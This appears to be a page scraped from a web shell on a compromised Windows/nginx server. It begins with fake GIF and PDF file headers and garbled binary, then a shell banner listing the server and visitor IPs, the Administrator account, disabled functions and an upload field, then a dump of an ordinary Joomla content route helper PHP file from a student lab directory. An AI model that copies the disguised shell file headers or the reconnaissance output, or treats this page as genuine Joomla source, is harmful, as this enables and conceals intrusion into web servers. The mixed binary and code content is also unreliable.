GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/Joomla/components/com_content/helpers/ |
Upload File : |
<?php /** * @package Joomla.Site * @subpackage com_content * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // no direct access defined('_JEXEC') or die; jimport('joomla.application.component.helper'); jimport('joomla.application.categories'); /** * Content Component Route Helper * * @static * @package Joomla.Site * @subpackage com_content * @since 1.5 */ abstract class ContentHelperRoute { protected static $lookup; protected static $lang_lookup = array(); /** * @param int The route of the content item */ public static function getArticleRoute($id, $catid = 0, $language = 0) { $needles = array( 'article' => array((int) $id) ); //Create the link $link = 'index.php?option=com_content&view=article&id='. $id; if ((int)$catid > 1) { $categories = JCategories::getInstance('Content'); $category = $categories->get((int)$catid); if($category) { $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if(isset(self::$lang_lookup[$language])) { $link .= '&lang='.self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } public static function getCategoryRoute($catid) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Content')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); $link = 'index.php?option=com_content&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } public static function getFormRoute($id) { //Create the link if ($id) { $link = 'index.php?option=com_content&task=article.edit&a_id='. $id; } else { $link = 'index.php?option=com_content&task=article.edit&a_id=0'; } return $link; } protected static function buildLanguageLookup() { if(count(self::$lang_lookup) == 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.sef AS sef') ->select('a.lang_code AS lang_code') ->from('#__languages AS a'); $db->setQuery($query); $langs = $db->loadObjectList(); foreach ($langs as $lang) { self::$lang_lookup[$lang->lang_code] = $lang->sef; } } } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $language = isset($needles['language']) ? $needles['language'] : '*'; // Prepare the reverse lookup array. if (!isset(self::$lookup[$language])) { self::$lookup[$language] = array(); $component = JComponentHelper::getComponent('com_content'); $items = $menus->getItems('component_id', $component->id); foreach ($items as $item) { if (isset($item->query) && isset($item->query['view']) && $item->language == $language) { $view = $item->query['view']; if (!isset(self::$lookup[$language][$view])) { self::$lookup[$language][$view] = array(); } if (isset($item->query['id'])) { self::$lookup[$language][$view][$item->query['id']] = $item->id; } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$language][$view])) { foreach($ids as $id) { if (isset(self::$lookup[$language][$view][(int)$id])) { return self::$lookup[$language][$view][(int)$id]; } } } } } if ($language != '*') { $needles['language'] = '*'; return self::_findItem($needles); } $active = $menus->getActive(); if ($active && $active->component == 'com_content') { return $active->id; } return null; } }